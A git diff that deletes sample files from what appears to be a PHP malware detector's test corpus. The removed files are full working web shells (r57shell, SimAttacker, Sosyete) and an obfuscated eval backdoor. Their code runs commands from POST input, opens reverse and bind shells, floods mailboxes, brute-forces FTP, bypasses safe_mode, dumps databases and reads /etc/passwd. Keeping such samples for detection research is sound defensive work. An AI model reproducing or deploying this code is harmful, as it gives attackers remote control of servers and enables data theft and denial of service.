"; $_POST['cmd'] = ""; } - @ftp_close($connection); - } -echo $table_up3; -if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } -else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } -echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']."
"; -echo "
"; -echo ""; -echo ""; -function up_down($id) - { - global $lang; - global $language; - return ' '; - } -function div($id) - { - if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return ''.$table_end1.$fe; -} -echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; -echo sr(15,"".$lang[$language.'_text43'].$arrow."",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); -echo $te.''.$table_end1.$fe; -if($safe_mode){ -echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; -echo sr(15,"".$lang[$language.'_text58'].$arrow."",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".ws(3)."".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); -echo $te.''.$table_end1.$fe; -} -if($safe_mode && $unix){ -echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; -echo sr(15,"".$lang[$language.'_text68'].$arrow."","".ws(2)."".$lang[$language.'_text69'].$arrow."".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow."".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); -echo $te.''.$table_end1.$fe; -} -if(!$safe_mode){ -foreach ($aliases as $alias_name=>$alias_cmd) - { - $aliases2 .= ""; - } -echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; -echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."","".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); -echo $te.''.$table_end1.$fe; -} -echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; -echo sr(15,"".$lang[$language.'_text52'].$arrow."",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); -echo sr(15,"".$lang[$language.'_text53'].$arrow."",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); -echo sr(15,"".$lang[$language.'_text55'].$arrow."",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); -echo $te.''.$table_end1.$fe; -if(!$safe_mode && $unix){ -echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; -echo sr(15,"".$lang[$language.'_text72'].$arrow."",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); -echo sr(15,"".$lang[$language.'_text73'].$arrow."",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); -echo sr(15,"".$lang[$language.'_text74'].$arrow."",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); -echo $te.''.$table_end1.$fe; -} -echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; -echo "
".div('id9').""; -echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); -echo "
".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); -echo "
"; -echo $table_end1.$fe; -if($safe_mode&&$curl_on) -{ -echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; -echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); -echo $te.''.$table_end1.$fe; -} -if($safe_mode) -{ -echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; -echo "
"; -echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); -echo $te.''.$table_end1.$fe; -} -if($safe_mode&&$mysql_on) -{ -echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; -echo sr(15,"".$lang[$language.'_text36'].$arrow."",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow."".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow."".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow."".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); -echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); -echo $te.''.$table_end1.$fe; -} -if($safe_mode&&$mssql_on) -{ -echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; -echo sr(15,"".$lang[$language.'_text36'].$arrow."",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow."".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow."".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow."".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); -echo sr(15,"".$lang[$language.'_text3'].$arrow."",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); -echo $te.''.$table_end1.$fe; -} -if(@ini_get('file_uploads')){ -echo ""; -echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; -echo sr(15,"".$lang[$language.'_text6'].$arrow."",in('file','userfile',85,'')); -echo sr(15,"".$lang[$language.'_text21'].$arrow."",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); -echo $te.''.$table_end1.$fe; -} -if(!$safe_mode&&!$windows){ -echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; -echo sr(15,"".$lang[$language.'_text16'].$arrow."","".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow."".in('text','rem_file',78,'http://')); -echo sr(15,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); -echo $te.''.$table_end1.$fe; -} -echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; -echo sr(15,"".$lang[$language.'_text59'].$arrow."",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); -$arh = $lang[$language.'_text92']; -if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } -if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } - -if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } -echo sr(15,"".$lang[$language.'_text91'].$arrow."",in('radio','compress',0,'none').' '.$arh); -echo $te.''.$table_end1.$fe; -if(@function_exists("ftp_connect")){ -echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."".$fs."".$fe.$fs."".$fe."
".$ts; -echo "
".$lang[$language.'_text87']."
"; -echo sr(25,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); -echo sr(25,"".$lang[$language.'_text37'].$arrow."",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); -echo sr(25,"".$lang[$language.'_text38'].$arrow."",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); -echo sr(25,"".$lang[$language.'_text89'].$arrow."",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); -echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); -echo sr(25,"".$lang[$language.'_text90'].$arrow."","".in('hidden','dir',0,$dir)); -echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); -echo $te."
".$ts; -echo "
".$lang[$language.'_text100']."
"; -echo sr(25,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); -echo sr(25,"".$lang[$language.'_text37'].$arrow."",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); -echo sr(25,"".$lang[$language.'_text38'].$arrow."",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); -echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); -echo sr(25,"".$lang[$language.'_text89'].$arrow."",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); -echo sr(25,"".$lang[$language.'_text90'].$arrow."","".in('hidden','dir',0,$dir)); -echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); -echo $te."
"; -} -if($unix && @function_exists("ftp_connect")){ -echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; -echo sr(15,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); -echo sr(15,"","".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." )"); -echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); -echo $te.''.$table_end1.$fe; -} -if(@function_exists("mail")){ -echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."".$fs."".$ts; -echo "
".$lang[$language.'_text103']."
"; -echo sr(25,"".$lang[$language.'_text105'].$arrow."",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); -echo sr(25,"".$lang[$language.'_text106'].$arrow."",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); -echo sr(25,"".$lang[$language.'_text107'].$arrow."",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); -echo sr(25,"".$lang[$language.'_text108'].$arrow."",''); -echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); -echo $te."".$fe.$fs."".$ts; -echo "
".$lang[$language.'_text104']."
"; -echo sr(25,"".$lang[$language.'_text105'].$arrow."",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); -echo sr(25,"".$lang[$language.'_text106'].$arrow."",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); -echo sr(25,"".$lang[$language.'_text107'].$arrow."",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); -echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); -$arh = $lang[$language.'_text92']; -if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } -if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } -if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } -echo sr(25,"".$lang[$language.'_text91'].$arrow."",in('radio','compress',0,'none').' '.$arh); -echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); -echo $te."".$fe.""; -} -if($mysql_on||$mssql_on||$pg_on||$ora_on) -{ -$select = ''; -echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."".$fs."".$ts; -echo "
".$lang[$language.'_text77']."
"; -echo sr(45,"".$lang[$language.'_text80'].$arrow."",$select); -echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); -echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); -echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); -echo sr(45,"".$lang[$language.'_text78'].$arrow."",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); -echo sr(45,"".$lang[$language.'_text79'].$arrow."",in('checkbox','sc id=sc',0,'1')); -echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); -echo $te."".$fe.$fs."".$ts; -echo "
".$lang[$language.'_text40']."
"; -echo sr(45,"".$lang[$language.'_text80'].$arrow."",$select); -echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); -echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); -echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); -echo sr(45,"".$lang[$language.'_text36'].$arrow."",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); -echo sr(45,"".$lang[$language.'_text39'].$arrow."",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); -echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow."",in('checkbox','dif id=dif',0,'1')); -echo sr(45,"".$lang[$language.'_text59'].$arrow."",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); -echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); -echo $te."".$fe.$fs."".$ts; -echo "
".$lang[$language.'_text83']."
"; -echo sr(45,"".$lang[$language.'_text80'].$arrow."",$select); -echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); -echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); -echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); -echo sr(45,"".$lang[$language.'_text36'].$arrow."",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); -echo sr(45,"".$lang[$language.'_text84'].$arrow."".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); -echo $te."

".in('submit','submit',0,$lang[$language.'_butt1'])."
".$fe.""; -} -if(!$safe_mode&&!$windows){ -echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."".$fs."".$ts; -echo "
".$lang[$language.'_text9']."
"; -echo sr(40,"".$lang[$language.'_text10'].$arrow."",in('text','port',15,'11457')); -echo sr(40,"".$lang[$language.'_text11'].$arrow."",in('text','bind_pass',15,'r57')); -echo sr(40,"".$lang[$language.'_text20'].$arrow."","".in('hidden','dir',0,$dir)); -echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); -echo $te."".$fe.$fs."".$ts; -echo "
".$lang[$language.'_text12']."
"; -echo sr(40,"".$lang[$language.'_text13'].$arrow."",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); -echo sr(40,"".$lang[$language.'_text14'].$arrow."",in('text','port',15,'11457')); -echo sr(40,"".$lang[$language.'_text20'].$arrow."","".in('hidden','dir',0,$dir)); -echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); -echo $te."".$fe.$fs."".$ts; -echo "
".$lang[$language.'_text22']."
"; -echo sr(40,"".$lang[$language.'_text23'].$arrow."",in('text','local_port',15,'11457')); -echo sr(40,"".$lang[$language.'_text24'].$arrow."",in('text','remote_host',15,'irc.dalnet.ru')); -echo sr(40,"".$lang[$language.'_text25'].$arrow."",in('text','remote_port',15,'6667')); -echo sr(40,"".$lang[$language.'_text26'].$arrow."","".in('hidden','dir',0,$dir)); -echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); -echo $te."".$fe.""; -} - -echo ''.$table_up3."
o---[ r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru | version ".$version." ]---o
- - -"; - - -?> \ No newline at end of file diff --git a/php-malware-finder/samples/classic/simattacker.php b/php-malware-finder/samples/classic/simattacker.php deleted file mode 100644 index 79b49d0..0000000 --- a/php-malware-finder/samples/classic/simattacker.php +++ /dev/null @@ -1,756 +0,0 @@ - "" ){ - -// path & file name - -$path_parts = pathinfo("$fdownload"); - -$entrypath=$path_parts["basename"]; - -$name = "$fdownload"; - -$fp = fopen($name, 'rb'); - -header("Content-Disposition: attachment; filename=$entrypath"); - -header("Content-Length: " . filesize($name)); - -fpassthru($fp); - -exit; - -} - -?> - - - - - - - - - - - - - -SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend - - - - - - - "" ){ - - $fedit=realpath($fedit); - - $lines = file($fedit); - - echo ""; - -echo " - - - - "; - - $savefile=$_POST['savefile']; - - $filepath=realpath($_POST['filepath']); - - if ($savefile <> "") - - { - - $fp=fopen("$filepath","w+"); - - fwrite ($fp,"") ; - - fwrite ($fp,$savefile) ; - - fclose($fp); - - echo ""; - - } - -exit(); - - } - -?> - - "" ){ - -$fchmod=realpath($fchmod); - -echo "

- -chmod for :$fchmod
- -

- -Chmod :
- -
- - - -
"; - -$chmod0=$_POST['chmod0']; - -if ($chmod0 <> ""){ - -chmod ($fchmod , $chmod0); - -}else { - -echo "primission Not Allow change Chmod"; - -} - -exit(); - -} - -?> - - - -
- - - - - - - - - - - - - - - - - -
- -

- -
- -
- - - - - - - - - - File Manager

- -

- - - - - - CMD Shell

- -

- - - - Fake mail

- -

- - - - - - Connect Back

- -

- - - - - - About

- -

 

 

- - - -***************************************************************************
- - Iranian Hackers : WWW.SIMORGH-EV.COM
- - Programer : Hossein Asgary
- - Note : SimAttacker  Have copyright from simorgh security Group
- - please : If you find bug or problems in program , tell me by :
- - e-mail : admin(at)simorgh-ev(dot)com
- -Enjoy :) [Only 4 Best Friends ]
- -***************************************************************************

- -"; - - - -echo "OS :". php_uname(); - -echo "
IP :". - -($_SERVER['REMOTE_ADDR']); - -echo "
"; - - - - - - } - - //************************************************************ - - //cmd-command line - - $cmd=$_POST['cmd']; - - if($id=="cmd"){ - - $result=shell_exec("$cmd"); - - echo "

CMD ExeCute

" ; - - echo "
- -
- -
- - - - - -
"; - - - - - - - - } - - - - //******************************************************** - - - - //fake mail = Use victim server 4 DOS - fake mail - - if ( $id=="fake-mail"){ - - error_reporting(0); - - echo "

Fake Mail- DOS E-mail By Victim Server

" ; - - echo "
- - Victim Mail :

- - Number-Mail :

- - Comments: - -
- -
- - - -
"; - - //send Storm Mail - - $to=$_POST['to']; - - $nom=$_POST['nom']; - - $Comments=$_POST['Comments']; - - if ($to <> "" ){ - - for ($i = 0; $i < $nom ; $i++){ - - $from = rand (71,1020000000)."@"."Attacker.com"; - - $subject= md5("$from"); - - mail($to,$subject,$Comments,"From:$from"); - - echo "$i is ok"; - - } - - echo ""; - - } - - } - - //******************************************************** - - - - //Connect Back -Firewall Bypass - - if ($id=="cshell"){ - - echo "
Connect back Shell , bypass Firewalls
- - For user :
- - nc -l -p 1019
- -
- -

- - Your IP & BindPort:
- - - -
- - - -
"; - - $mip=$_POST['mip']; - - $bport=$_POST['bport']; - - if ($mip <> "") - - { - - $fp=fsockopen($mip , $bport , $errno, $errstr); - - if (!$fp){ - - $result = "Error: could not open socket connection"; - - } - - else { - - fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); - - while(!feof($fp)){ - - fputs ($fp," bash # "); - - $result= fgets ($fp, 4096); - - $message=`$result`; - - fputs ($fp,"--> ".$message."\n"); - - } - - fclose ($fp); - - } - - } - - } - - - - //******************************************************** - - //Spy File Manager - - $homedir=getcwd(); - - $dir=realpath($_GET['dir'])."/"; - - if ($id=="fm"){ - - echo "

 Home: $homedir - -   - -

- -  Path: - - - - - - - -
- -
"; - - - - echo " - - - -
- - - - - - - - - - - - - - - - - - - - "; - - if (is_dir($dir)){ - - if ($dh=opendir($dir)){ - - while (($file = readdir($dh)) !== false) { - - $fsize=round(filesize($dir . $file)/1024); - - - - - - echo " - - - - - - - - - - - - - - - - - - "; - - } - - closedir($dh); - - } - - } - - echo "
File / Folder Name - - Size KByte - - Download - - Edit - - ChmodDelete
"; - - if (is_dir($dir.$file)) - - { - - echo " $file dir"; - - } - - else { - - echo " $file "; - - } - - echo ""; - - if (is_file($dir.$file)) - - { - - echo "$fsize"; - - } - - else { - - echo "  "; - - } - - echo " - - "; - - if (is_file($dir.$file)){ - - if (is_readable($dir.$file)){ - - echo "download"; - - }else { - - echo "No ReadAble"; - - } - - }else { - - echo " "; - - } - - echo " - - "; - - if (is_file($dir.$file)) - - { - - if (is_readable($dir.$file)){ - - echo "Edit"; - - }else { - - echo "No ReadAble"; - - } - - }else { - - echo " "; - - } - - echo " - - "; - - if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { - - echo "Dont in windows"; - - } - - else { - - echo "Chmod"; - - } - - echo "Delete
- -
- - - - Send this file: - - - - - - - -
"; - - } - -//Upload Files - -$rpath=$_GET['dir']; - -if ($rpath <> "") { - -$uploadfile = $rpath."/" . $_FILES['userfile']['name']; - -print "
";
-
-if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
-
-echo "";
-
-echo "";
-
-}
-
- }
-
- //file deleted
-
-$frpath=$_GET['fdelete'];
-
-if ($frpath <> "") {
-
-if (is_dir($frpath)){
-
-$matches = glob($frpath . '/*.*');
-
-if ( is_array ( $matches ) ) {
-
-  foreach ( $matches as $filename) {
-
-  unlink ($filename);
-
-  rmdir("$frpath");
-
-echo "";
-
-echo "";
-
-  }
-
-  }
-
-  }
-
-  else{
-
-echo "";
-
-unlink ("$frpath");
-
-echo "";
-
-exit(0);
-
-
-
-  }
-
-  
-
-
-
-}
-
-			?>
-
-			
-
-			
- -


- - Copyright 2004-Simorgh Security
- - Hossein-Asgari
- -
- - - - www.r57.biz

- - -
- - - - - - diff --git a/php-malware-finder/samples/classic/sosyete.php b/php-malware-finder/samples/classic/sosyete.php deleted file mode 100644 index 91c7006..0000000 --- a/php-malware-finder/samples/classic/sosyete.php +++ /dev/null @@ -1,225 +0,0 @@ - - - - Sosyete Safe Mode Bypass Shell - - - -
- -
-

-

- - -
-

-

- - -

Sosyete Safe Mode Bypass Shell - -

-

- -
-

~ - - - -

- -

- - - -
-
- - -

- -
-

- - -

- - - Sosyete Safe Mode Bypass Shell ; Bypass shell'lerden esinlenerek birçok shell'in ortak karisimi olarak sunulmustur.

- - - - -
- - - - -
- - - - Sosyete Bypass Main Menu

"; - -print_r(' - - - - -
-
-
-
- -
-
- - -
- - -
- -
-

-

- - -
-

-

- - -
- -
- - -'); -ini_restore("safe_mode"); -ini_restore("open_basedir"); -$fuck=shell_exec($_POST['sosyete']); -$mokoko=shell_exec($_POST['fuck']); -echo "

"; -echo "Komut Sonucu
"; -echo $fuck; -echo $mokoko; -echo "

"; - -?> - -
- - -

- -
- -

- -

- - - - Sosyete Safe Mode Bypass Shell Coded by r57.biz ~ Sosyete

- - - - -
- - - - -
- - - - - diff --git a/php-malware-finder/samples/cpanel.php b/php-malware-finder/samples/cpanel.php deleted file mode 100644 index 0899f12..0000000 --- a/php-malware-finder/samples/cpanel.php +++ /dev/null @@ -1,20 +0,0 @@ -$ff7924082){$y5da781e=$ff7924082;$x3ff4965=$efb074d;}if(!$y5da781e){foreach($m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][35].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][42].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][95].$m6aa932e['a7b1'][49]]as$efb074d=>$ff7924082){$y5da781e=$ff7924082;$x3ff4965=$efb074d;}}$y5da781e=@$m6aa932e[$m6aa932e['a7b1'][33].$m6aa932e['a7b1'][51].$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][46].$m6aa932e['a7b1'][84].$m6aa932e['a7b1'][20].$m6aa932e['a7b1'][14]]($m6aa932e[$m6aa932e['a7b1'][71].$m6aa932e['a7b1'][42].$m6aa932e['a7b1'][95].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][84]]($m6aa932e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][14].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][49]]($y5da781e),$x3ff4965));if(isset($y5da781e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][48]])&&$fecba48==$y5da781e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][48]]){if($y5da781e[$m6aa932e['a7b1'][65]]==$m6aa932e['a7b1'][67]){$b56c6566=Array($m6aa932e['a7b1'][55].$m6aa932e['a7b1'][97]=>@$m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][14].$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][60]](),$m6aa932e['a7b1'][13].$m6aa932e['a7b1'][97]=>$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][21].$m6aa932e['a7b1'][60].$m6aa932e['a7b1'][86].$m6aa932e['a7b1'][31],);echo@$m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][24].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][51].$m6aa932e['a7b1'][11]]($b56c6566);}elseif($y5da781e[$m6aa932e['a7b1'][65]]==$m6aa932e['a7b1'][44]){eval($y5da781e[$m6aa932e['a7b1'][46]]);}exit();} ?> - - - - - - diff --git a/php-malware-finder/samples/freepbx.php b/php-malware-finder/samples/freepbx.php deleted file mode 100644 index 5ccf441..0000000 --- a/php-malware-finder/samples/freepbx.php +++ /dev/null @@ -1,14 +0,0 @@ - diff --git a/php-malware-finder/samples/obfuscators/cipher_design.php b/php-malware-finder/samples/obfuscators/cipher_design.php deleted file mode 100644 index 0ccf2c1..0000000 --- a/php-malware-finder/samples/obfuscators/cipher_design.php +++ /dev/null @@ -1,2 +0,0 @@ 